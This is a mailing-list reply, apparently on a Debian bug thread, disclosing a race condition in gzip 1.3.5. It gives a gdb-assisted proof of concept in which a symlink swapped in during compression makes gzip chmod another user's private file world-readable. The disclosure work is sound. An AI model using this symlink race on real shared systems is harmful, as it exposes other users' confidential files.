Martin Pitt wrote: > Of course the file can be removed by other users after gunzip has > finished, but that is not a gzip bug, but the result of the really > dumb idea to have a group/world-writeable directory without the sticky > bit.
It may be really dumb, but it's pretty common practice too.
Group-writable directories are often made setgid but I've never seen one
made sticky. There's probably a lot of documentation that presents this
as best practice if you trust your group members with access to files in
the directory, and likely none of it mentions this kind of security issue.
Just a few examples within the Debian project (since this is CCed to the
Debian bts):
[EMAIL PROTECTED]:/var/lib/gforge/chroot/home/groups/d-i/htdocs>ls -ld .
drwxrwsr-x 4 dummy d-i 4096 Jan 18 12:51 ./
[EMAIL PROTECTED]:/org/cdimage.debian.org/www>ls -ld .
drwxrwsr-x 4 manty debian-c 4096 Apr 7 09:11 ./
[EMAIL PROTECTED]:/org/bugs.debian.org/spool>ls -ld .
drwxrwsr-x 4 debbugs debbugs 4096 Apr 13 09:19 ./
(gzip is not typically ran in any of these directories AFAIK, FWIW).
> Maybe I understood you wrong, could you please give a small test case
> which describes the vulnerability exactly?
I'm a wimp, so I will use gdb instead of writing some real exploit to
win the race.
[EMAIL PROTECTED]:~/tmp/gzip-1.3.5>chmod 777 .
[EMAIL PROTECTED]:~/tmp/gzip-1.3.5>echo secret > ~/secret
[EMAIL PROTECTED]:~/tmp/gzip-1.3.5>chmod 400 ~/secret
[EMAIL PROTECTED]:~/tmp/gzip-1.3.5>ls -l ~/secret
-r-------- 1 joey joey 7 Apr 13 11:32 /home/joey/secret
[EMAIL PROTECTED]:~/tmp/gzip-1.3.5>gdb ./gzip
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
This GDB was configured as "i386-linux"...Using host libthread_db library
"/lib/libthread_db.so.1".
(gdb) b copy_stat
Breakpoint 1 at 0x804ca19: file gzip.c, line 1725.
(gdb) run -9 COPYING
Starting program: /home/joey/tmp/gzip-1.3.5/gzip -9 COPYING
Breakpoint 1, copy_stat (ifstat=0x0) at gzip.c:1725
1725 if (decompress && time_stamp != 0 && ifstat->st_mtime !=
time_stamp) {
(gdb)
zsh: suspended gdb ./gzip
[EMAIL PROTECTED]:~/tmp/gzip-1.3.5>ls -l COPYING.gz
-rw------- 1 joey joey 6853 Apr 13 11:28 COPYING.gz
[EMAIL PROTECTED]:~/tmp/gzip-1.3.5>sudo su nobody
Password:
sh-3.00$ ln -s ~joey/secret COPYING.gz
sh-3.00$ cat COPYING.gz
cat: COPYING.gz: Permission denied
dragon%
zsh: exit 1 sudo su nobody
[EMAIL PROTECTED]:~/tmp/gzip-1.3.5>fg
[2] - continued gdb ./gzip
c
Continuing.
Program exited normally.
(gdb) quit
[EMAIL PROTECTED]:~/tmp/gzip-1.3.5>ls -l ~/secret
-r--r--r-- 1 joey joey 7 Jan 12 1999 /home/joey/secret
--
see shy jo
signature.asc
Description: Digital signature
